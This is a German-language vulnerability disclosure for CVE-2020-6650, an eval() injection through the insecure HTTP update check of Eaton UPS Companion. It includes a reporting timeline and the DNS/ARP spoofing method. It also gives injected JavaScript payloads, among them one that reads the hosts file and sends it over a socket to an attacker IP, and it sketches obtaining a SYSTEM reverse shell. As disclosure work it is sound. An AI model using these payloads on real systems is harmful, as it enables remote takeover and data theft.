
Dieses Repository beschreibt CVE-2020-6650, eine Sicherheitslücke, die ich in Eaton's UPS Companion entdeckt habe. Alle Benutzer sollten sofort auf v1.06 aktualisieren, da sie sonst Gefahr laufen, dass ihr System aus der Ferne administrativ zugegriffen wird.
Die Eaton UPS Companion Software überprüft jede Woche auf ein Update über eine unsichere HTTP-Verbindung und führt eval() auf den Inhalt der Update-URL aus. Dadurch kann ein Angreifer eine JavaScript-Funktion erstellen, die die bereits in der Backend-Software vorhandenen Low-Level-OS-Operationen nutzt, wie Dateiausführung, Netzwerk-Sockets und Dateisystem-I/O. Alle diese Operationen erfolgen mit NT AUTHORITY\SYSTEM-Berechtigungen, wahrscheinlich aufgrund der Berechtigungen, die eine USV (Unterbrechungsfreie Stromversorgung) für die Systemverwaltung benötigt. Nach einer gewissen Wartezeit erfolgt mühelos eine automatische Befehlsinjektion, die eine SYSTEM-Shell gewährt.
Dies wurde in Version 1.06 behoben und die zugewiesene CVE-ID ist CVE-2020-6650.
| Fehler bemerkt | 2019/10/25 - 21:43 |
| Exploit realisiert | 2019/12/28 - 06:28 |
| An Eaton gemeldet | 2019/12/28 - 10:00 |
| Bestätigt | 2019/12/30 - 22:05 |
| Einfacher PoC gesendet | 2020/01/04 - 03:32 |
| Wird gepatcht | 2020/01/21 - 12:54 |
| Gepatcht | 2020/03/21 - 12:21 |
Danke an Eaton, dass sie die Offenlegung dieses Exploits einfach gemacht haben.
Eaton UPS Companion erhält Updates von http://pqsoftware.eaton.com/upgrade/upgrade_euc.info
Problem 1: Kann leicht über dsniffs arpspoof und dnsspoof gefälscht werden, dann python -m http.server 80.
Problem 2: Fehlendes HTTPS eröffnet einen weiteren Angriffsvektor für denselben Effekt.
Stand 2019/10/25 - 22:08 ist dies der Inhalt des Links:
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
"EUC":
{
"WINDOWS":
{
"version": "1.04.017",
"packageURL": "install/win32/euc/euc_win_1_04_017.exe",
"info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
}
}
}
Ich kann nicht herausfinden, wie die SHA1-Prüfsumme für die Datei berechnet wird oder was zur Berechnung verwendet wird, aber dies würde die Sache viel einfacher machen.
Eaton UPS Companion erstellt einen lokalen HTTP-Server unter http://localhost:4679.
Ein Klick auf "Version: Eaton UPS Companion v1.05" öffnet ein "verstecktes" Debug-Log unter http://localhost:4679/trace.html.
Es kann auch über ".\mc2.exe -start -debug" in cmd.exe geöffnet werden.
Das Ausliefern einer leeren HTML-Seite verursacht einen auffälligen Fehler, der protokolliert wird:
2019/10/25-21:32:29.051 | UpdateManager | !!! ERROR: Update data could not be parsed:
{
"message": "syntax error",
"fileName": "scripts/libs/json.js",
"lineNumber": 122,
"stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
"name": "SyntaxError"
}
Hier wird eval() verwendet, was es einfacher für uns macht. Hier ist ein Beispiel für UI-Manipulation, bei dem der folgende Inhalt in update_euc.info eingefügt wird.
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})
Dies kann dank anonymer Funktionen in eine ordentliche Funktion umgewandelt werden:
(function() {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()
Ich glaube, es könnte auch Zugriff auf ShutdownManager geben, was nicht gut ist.
Ein Aufruf von http://localhost:4679/server/data_srv.js?action=init enthüllt weitere Informationen darüber, wie das System funktioniert.
Reguläre JS-Funktionen wie alert() existieren nicht, und Objekte wie document, console und object existieren ebenfalls nicht. Wirklich alte ECMAScript-Edition oder so? Auch kein let-Schlüsselwort, nur var.
Das könnte helfen:
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});
Ich kann alle Eigenschaften der "Manager"-Objekte sehen, z.B. UpdateManager über:
(function() {
for (var property in UpdateManager) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
}
})()
Das auf dem UpdateManager ausgeführt, ergab diese sehr interessanten Funktionen:
selfUpdate IS function () {\n var packagePath = UpdateManager.retrievePackage();\n if (packagePath) {\n ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n }\n}
retrievePackage IS function () {\n var updateLocation = UpdateManager.updateLocation;\n if (!UpdateManager.updateData) {\n UpdateManager.checkForUpgrade();\n }\n if (!UpdateManager.updateData.packageURL) {\n error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n return false;\n }\n var packageURL = UpdateManager.updateData.packageURL;\n var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n File.createPath(UpdateManager.outputPath);\n if (File.status(packagePath)) {\n debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n return packagePath;\n }\n debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n var client = new HTTPClient(updateLocation);\n var response = client.get(packageURL);\n if (response && response.status == 200) {\n debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n try {\n File.put(packagePath, response.data);\n debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n return packagePath;\n } catch (e) {\n error(\"Failed to save update package at '?'\", packagePath);\n }\n } else {\n debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n }\n return false;\n}
Dies zeigt, dass wir Probleme verursachen können:
(function() {
if (System.getAdminRights()) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
}
})()
Es gibt weitere nützliche Funktionsaufrufe wie File.get("C:\\Windows\\System32\\drivers\\etc\\hosts"), die den Inhalt der Hosts-Datei in einen String ausgeben, aber nur intern. Nachdem ich die Eigenschaften des HTTPClient-Objekts durchforstet habe, gibt es eine weitere Objektklasse, mit der Sie Sockets erstellen können.
Zum Beispiel, um die hosts-Datei zu empfangen:
(function() {
var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
var s = new Socket("tcp");
s.connect("192.168.1.???", 44444);
s.send(hosts);
s.close;
}
})()
Schließlich habe ich entdeckt, wie System.open(<file>, <args>) funktioniert, das eine Datei ausführt. Von hier aus ist es nur noch das Hochladen einer Reverse Shell, das Ruhigstellen einer Anti-Virus-Lösung (da wir SYSTEM-Berechtigungen haben) und das Erhalten einer Reverse Shell.